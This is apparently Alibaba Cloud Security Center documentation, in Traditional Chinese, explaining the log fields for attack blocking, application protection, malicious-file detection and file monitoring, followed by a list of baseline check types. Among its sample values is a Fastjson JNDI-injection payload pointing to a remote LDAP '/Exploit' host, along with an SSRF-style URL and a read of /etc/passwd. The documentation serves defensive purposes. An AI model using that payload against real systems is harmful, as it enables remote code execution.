dest_ip	被攻擊資產的IP地址。	172.16.XX.XX
dest_port	被攻擊資產的連接埠。	80
func	攔截事件的類型。取值： payload：惡意負載類型，表示由於檢測到惡意資料或指令而觸發的攻擊事件攔截。 tuple：惡意IP類型，表示由於檢測到惡意IP訪問而觸發的攻擊事件攔截。	payload
rule_type	攔截事件下的具體規則類型。取值： alinet_payload：Security Center指定的payload事件防禦規則。 alinet_tuple：Security Center指定的tuple事件防禦規則。	alinet_payload
instance_id	被攻擊資產的執行個體ID。	i-2zeg4zldn8zypsfg****
internet_ip	被攻擊資產的公網IP。	39.104.XX.XX
intranet_ip	被攻擊資產的私網IP。	192.168.XX.XX
model	防禦動作模式。取值：block（已攔截）。	block
payload	HEX格式的payload。	504f5354202f20485454502f312e310d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a557365722d4167656e743a20****
pid	被攻擊的進程ID。	7107
platform	被攻擊資產的系統類別型。取值： win。 linux。	linux
proc_path	被攻擊的進程路徑。	/usr/sbin/nginx
sas_group_name	伺服器在Security Center的資產分組。	default
src_ip	發起攻擊的源IP地址。	106.11.XX.XX
src_port	發起攻擊的源連接埠。	29575
uuid	伺服器的UUID。	5d83b26b-b7ca-4a0a-9267-12****

應用防護日誌

欄位名	說明	樣本
app_dir	應用所在目錄。	/usr/local/aegis/rasp/apps/1111
app_id	應用ID。	6492a391fc9b4e2aad94****
app_name	應用程式名稱。	test
confidence	檢測演算法的信賴度。取值： high。 medium。 low。	low
content	請求體資訊。	{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://172.220.XX.XX:1389/Exploit","autoCommit":true}
content_length	請求體長度。	112
data	hook點參數。	{"cmd":"bash -c kill -0 -- -'31098' "}
headers	要求標頭資訊。	{"content-length":"112","referer":"http://120.26.XX.XX:8080/demo/Serial","accept-language":"zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2","origin":"http://120.26.XX.XX:8080","host":"120.26.XX.XX:8080","content-type":"application/json","connection":"keep-alive","x-forwarded-for":"1.1.XX.XX","accept-encoding":"gzip, deflate","user-agent":"msnbot","accept":"application/json, text/plain, /"}
hostname	主機或網路裝置的名稱。	testhostname
ip	主機私網IP地址。	172.16.XX.XX
is_cliped	該條日誌是否因為超長被裁剪過。取值： true：裁剪過。 false：未裁剪過。	false
jdk	JDK版本。	1.8.0_292
message	警示描述資訊。	Unsafe class serial.
method	要求方法。	Post
os	作業系統類型。	Linux
os_arch	作業系統架構。	amd64
os_version	作業系統核心版本。	3.10.0-1160.59.1.el7.x86_64
param	請求參數，常見格式包括： GET參數。 application/x-www-form-urlencoded。	{"url":["http://127.0.0.1.xip.io"]}
payload	有效攻擊載荷。	bash -c kill -0 -- -'31098'
payload_length	有效攻擊載荷長度。	27
rasp_id	應用防護探針唯一ID。	fa00223c8420e256c0c98ca0bd0d****
rasp_version	應用防護探針版本。	0.4.3
remote	要求者IP地址。	172.0.XX.XX
result	警示處理結果。取值： block：防護，即阻斷。 monitor：監控。	block
rule_result	規則指定的警示處理方式。取值： block。 monitor。	block
severity	風險層級。取值： high。 medium。 low。	high
stacktrace	堆棧資訊。	[java.io.FileInputStream.<init>(FileInputStream.java:123), java.io.FileInputStream.<init>(FileInputStream.java:93), com.example.vulns.controller.FileController.IORead(FileController.java:75), sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method), sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)......]
time	觸發警示的時間。	2023-10-09 15:19:15
timestamp	觸發警示的時間戳記，單位為毫秒。	1696835955070
type	漏洞類型。取值： attach：惡意Attach。 beans：惡意beans綁定。 classloader：惡意類載入。 dangerous_protocol：危險協議使用。 dns：惡意DNS查詢。 engine：引擎注入。 expression：運算式注入。 file：惡意檔案讀寫。 file_delete：任意檔案刪除。 file_list：目錄遍曆。 file_read：任意檔案讀取。 file_upload：惡意檔案上傳。 jndi：JNDI注入。 jni：JNI注入。 jstl：JSTL任意檔案包含。 memory_shell：記憶體馬注入。 rce：命令執行。 read_object：還原序列化攻擊。 reflect：惡意反射調用。 sql：SQL注入。 ssrf：惡意外連。 thread_inject：線程注入。 xxe：XXE攻擊。	rce
url	請求URL。	http://127.0.0.1:999/xxx
rasp_attack_uuid	漏洞UUID。	18823b23-7ad4-47c0-b5ac-e5f036a2****
uuid	主機UUID。	23f7ca61-e271-4a8e-bf5f-165596a16****
internet_ip	主機公網IP地址。	1.2.XX.XX
intranet_ip	主機私網IP地址。	172.16.XX.XX
sas_group_name	Security Center伺服器分組名稱。	分組1
instance_id	主機執行個體ID。	i-wz995eivg28f1m**

惡意檔案檢測日誌

欄位名	說明	樣本
bucket_name	Bucket名稱。	***-test
event_id	警示ID。	802210
event_name	警示名稱。	挖礦程式
md5	檔案的MD5值。	6bc2bc******53d409b1
sha256	檔案的SHA256值。	f038f9525******7772981e87f85
result	檢測結果。 0：檔案安全。 1：存在惡意檔案。	0
file_path	檔案路徑。	test.zip/bin_test
etag	OSS檔案標識。	6BC2B******853D409B1
risk_level	風險等級。 serious：緊急。 suspicions：可疑。 remind：提醒。	remind
source	檢測情境。 OSS：在Security Center控制台執行對阿里雲Object Storage ServiceBucket內檔案的檢測。 API：通過SDK接入的方式檢測惡意檔案，支援通過Java或Python方式接入。	OSS
parent_md5	父類檔案或壓縮包檔案的MD5值。	3d0f8045bb9******
parent_sha256	父類檔案或壓縮包檔案的SHA256值。	69b643d6******a3fb859fa
parent_file_path	父類檔案或壓縮包檔案的名稱。	test.zip
start_time	開始檢測時間的時間戳記。單位為秒。	1718678414

核心檔案監控事件記錄

欄位名	說明	樣本
start_time	事件的最新發生時間。單位為秒。	1718678414
uuid	用戶端的UUID。	5d83b26b-ba-4a-9267-12****
file_path	檔案路徑。	/etc/passwd
proc_path	進程路徑。	/usr/bin/bash
rule_id	命中規則ID。	123
rule_name	規則名稱。	file_test_rule
cmdline	命令列。	bash /opt/a
operation	對檔案的操作。	READ
risk_level	警示等級。	2
pid	進程ID。	45324
proc_permission	進程許可權。	rwxrwxrwx
instance_id	執行個體ID。	i-wz995eivg2****
internet_ip	互連網IP。	192.0.2.1
intranet_ip	私網IP。	172.16.0.1
instance_name	執行個體名稱。	aegis-test
platform	作業系統類型。	Linux

附錄

基準類型及子類型列表

類型名稱	子類型名稱	描述
hc_exploit	hc_exploit_redis	高危風險利用-Redis未授權訪問高危風險
	hc_exploit_activemq	高危風險利用-ActiveMQ未授權訪問高危風險
	hc_exploit_couchdb	高危風險利用-CouchDB未授權訪問高危風險
	hc_exploit_docker	高危風險利用-Docker未授權訪問高危風險
	hc_exploit_es	高危風險利用-Elasticsearch未授權訪問高危風險
	hc_exploit_hadoop	高危風險利用-Hadoop未授權訪問高危風險
	hc_exploit_jboss	高危風險利用-Jboss未授權訪問高危風險
	hc_exploit_jenkins	高危風險利用-Jenkins未授權訪問高危風險
	hc_exploit_k8s_api	高危風險利用Kubernetes-Apiserver未授權訪問高危風險
	hc_exploit_ldap	高危風險利用-LDAP未授權訪問高危風險（Windows環境）
	hc_exploit_ldap_linux	高危風險利用-openLDAP未授權訪問高危風險（Linux環境）
	hc_exploit_memcache	高危風險利用-Memcached未授權訪問高危風險
	hc_exploit_mongo	高危風險利用-Mongodb未授權訪問高危風險
	hc_exploit_pgsql	高危風險利用-Postgresql未授權訪問高危風險基準
	hc_exploit_rabbitmq	高危風險利用-RabbitMQ未授權訪問高危風險
	hc_exploit_rsync	高危風險利用-rsync未授權訪問高危風險
	hc_exploit_tomcat	高危風險利用-Apache Tomcat AJP檔案包含漏洞風險
	hc_exploit_zookeeper	高危風險利用-ZooKeeper未授權訪問高危風險
hc_container	hc_docker	阿里雲標準-Docker安全基準檢查
	hc_middleware_ack_master	國際通用安全最佳實務-Kubernetes(ACK) Master節點安全基準檢查
	hc_middleware_ack_node	國際通用安全最佳實務-Kubernetes(ACK) Node節點安全基準檢查
	hc_middleware_k8s	阿里雲標準-Kubernetes-Master安全基準檢查
	hc_middleware_k8s_node	阿里雲標準-Kubernetes-Node安全基準檢查
cis	hc_suse 15_djbh	等保三級-SUSE 15合規基準檢查
	hc_aliyun_linux3_djbh_l3	等保三級-Alibaba Cloud Linux 3合規基準檢查
	hc_aliyun_linux_djbh_l3	等保三級-Alibaba Cloud Linux/Aliyun Linux 2合規基準檢查
	hc_bind_djbh	等保三級-Bind合規基準檢查
	hc_centos 6_djbh_l3	等保三級-CentOS Linux 6合規基準檢查
	hc_centos 7_djbh_l3	等保三級-CentOS Linux 7合規基準檢查
	hc_centos 8_djbh_l3	等保三級-CentOS Linux 8合規基準檢查
	hc_debian_djbh_l3	等保三級-Debian Linux 8/9/10合規基準檢查
	hc_iis_djbh	等保三級-IIS合規基準檢查
	hc_informix_djbh	等保三級-Informix合規基準檢查
	hc_jboss_djbh	等保三級-Jboss合規基準檢查
	hc_mongo_djbh	等保三級-MongoDB合規基準檢查
	hc_mssql_djbh	等保三級-SQL Server合規基準檢查
	hc_mysql_djbh	等保三級-MySql合規基準檢查
	hc_nginx_djbh	等保三級-Nginx合規基準檢查
	hc_oracle_djbh	等保三級-Oracle合規基準檢查
	hc_pgsql_djbh	等保三級-PostgreSql合規基準檢查
	hc_redhat 6_djbh_l3	等保三級-Redhat Linux 6合規基準檢查
	hc_redhat_djbh_l3	等保三級-Redhat Linux 7合規基準檢查
	hc_redis_djbh	等保三級-Redis合規基準檢查
	hc_suse 10_djbh_l3	等保三級-SUSE 10合規基準檢查
	hc_suse 12_djbh_l3	等保三級-SUSE 12合規基準檢查
	hc_suse_djbh_l3	等保三級-SUSE 11合規基準檢查
	hc_ubuntu 14_djbh_l3	等保三級-Ubuntu 14合規基準檢查
	hc_ubuntu_djbh_l3	等保三級-Ubuntu 16/18/20合規基準檢查
	hc_was_djbh	等保三級-Websphere Application Server合規基準檢查
	hc_weblogic_djbh	等保三級-Weblogic合規基準檢查
	hc_win 2008_djbh_l3	等保三級-Windows 2008 R2合規基準檢查
	hc_win 2012_djbh_l3	等保三級-Windows 2012 R2合規基準檢查
	hc_win 2016_djbh_l3	等保三級-Windows 2016/2019 合規基準檢查
	hc_aliyun_linux_djbh_l2	等保二級-Alibaba Cloud Linux/Aliyun Linux 2合規基準檢查
	hc_centos 6_djbh_l2	等保二級-CentOS Linux 6合規基準檢查
	hc_centos 7_djbh_l2	等保二級-CentOS Linux 7合規基準檢查
	hc_debian_djbh_l2	等保二級-Debian Linux 8合規基準檢查
	hc_redhat 7_djbh_l2	等保二級-Redhat Linux 7合規基準檢查
	hc_ubuntu_djbh_l2	等保二級-Ubuntu16/18合規基準檢查
	hc_win 2008_djbh_l2	等保二級-Windows 2008 R2合規基準檢查
	hc_win 2012_djbh_l2	等保二級-Windows 2012 R2合規基準檢查
	hc_win 2016_djbh_l2	等保二級-Windows 2016/2019 合規基準檢查
	hc_aliyun_linux_cis	國際通用安全最佳實務-Alibaba Cloud Linux/Aliyun Linux 2安全基準檢查
	hc_centos 6_cis_rules	國際通用安全最佳實務-CentOS Linux 6安全基準檢查
	hc_centos 7_cis_rules	國際通用安全最佳實務-CentOS Linux 7安全基準檢查
	hc_centos 8_cis_rules	國際通用安全最佳實務-CentOS Linux 8安全基準檢查
	hc_debian 8_cis_rules	國際通用安全最佳實務-Debian Linux 8安全基準檢查
	hc_ubuntu 14_cis_rules	國際通用安全最佳實務-Ubuntu 14安全基準檢查
	hc_ubuntu 16_cis_rules	國際通用安全最佳實務-Ubuntu 16/18/20安全基準檢查
	hc_win 2008_cis_rules	國際通用安全最佳實務-Windows Server 2008 R2安全基準檢查
	hc_win 2012_cis_rules	國際通用安全最佳實務-Windows Server 2012 R2安全基準檢查
	hc_win 2016_cis_rules	國際通用安全最佳實務-Windows Server 2016/2019 R2安全基準檢查
	hc_kylin_djbh_l3	等保三級-麒麟合規基準檢查
	hc_uos_djbh_l3	等保三級-Uos合規基準檢查
hc_best_security	hc_aliyun_linux	阿里雲標準-Alibaba Cloud Linux/Aliyun Linux 2安全基準檢查
	hc_centos 6	阿里雲標準-CentOS Linux 6安全基準檢查
	hc_centos 7	阿里雲標準-CentOS Linux 7/8安全基準檢查
	hc_debian	阿里雲標準-Debian Linux 8/9/10安全基準檢查
	hc_redhat 6	阿里雲標準-Redhat Linux 6安全基準檢查
	hc_redhat 7	阿里雲標準-Redhat Linux 7/8安全基準檢查
	hc_ubuntu	阿里雲標準-Ubuntu安全基準檢查
	hc_windows_2008	阿里雲標準-Windows 2008 R2安全基準檢查
	hc_windows_2012	阿里雲標準-Windows 2012 R2安全基準檢查
	hc_windows_2016	阿里雲標準-Windows 2016/2019 安全基準檢查
	hc_db_mssql	阿里雲標準-SQL server安全基準檢查
	hc_memcached_ali	阿里雲標準-Memcached安全基準檢查
	hc_mongodb	阿里雲標準-MongoDB 3.x版本安全基準檢查
	hc_mysql_ali	阿里雲標準-Mysql安全基準檢查
	hc_oracle	阿里雲標準-Oracle 11g安全基準檢查
	hc_pgsql_ali	阿里雲標準-PostgreSql安全基準檢查
	hc_redis_ali	阿里雲標準-Redis安全基準檢查
	hc_apache	阿里雲標準-Apache安全基準檢查
	hc_iis_8	阿里雲標準-IIS 8安全基準檢查
	hc_nginx_linux	阿里雲標準-Nginx安全基準檢查
	hc_suse 15	阿里雲標準-SUSE Linux 15安全基準檢查
	tomcat 7	阿里雲標準-Apache Tomcat 安全基準檢查
weak_password	hc_mongodb_pwd	弱口令-MongoDB登入弱口令檢測（支援2.x版本）
	hc_weakpwd_ftp_linux	弱口令-FTP登入弱口令檢查
	hc_weakpwd_linux_sys	弱口令-Linux系統登入弱口令檢查
	hc_weakpwd_mongodb 3	弱口令-MongoDB登入弱口令檢測
	hc_weakpwd_mssql	弱口令-SQL Server資料庫登入弱口令檢查
	hc_weakpwd_mysql_linux	弱口令-Mysql資料庫登入弱口令檢查
	hc_weakpwd_mysql_win	弱口令-Mysql資料庫登入弱口令檢查（Windows版）
	hc_weakpwd_openldap	弱口令-Openldap登入弱口令檢查
	hc_weakpwd_oracle	弱口令-Oracle登入弱口令檢測
	hc_weakpwd_pgsql	弱口令-PostgreSQL資料庫登入弱口令檢查
	hc_weakpwd_pptp	弱口令-pptpd服務登入弱口令檢查
	hc_weakpwd_redis_linux	弱口令-Redis資料庫登入弱口令檢查
	hc_weakpwd_rsync	弱口令-rsync服務登入弱口令檢查
	hc_weakpwd_svn	弱口令-svn服務登入弱口令檢查
	hc_weakpwd_tomcat_linux	弱口令-Apache Tomcat控制台弱口令檢查
	hc_weakpwd_vnc	弱口令-VncServer弱口令檢查
	hc_weakpwd_weblogic	弱口令-Weblogic 12c登入弱口令檢測
	hc_weakpwd_win_sys	弱口令-Windows系統登入弱口令檢查

Security Center：日誌類別及欄位說明V1.0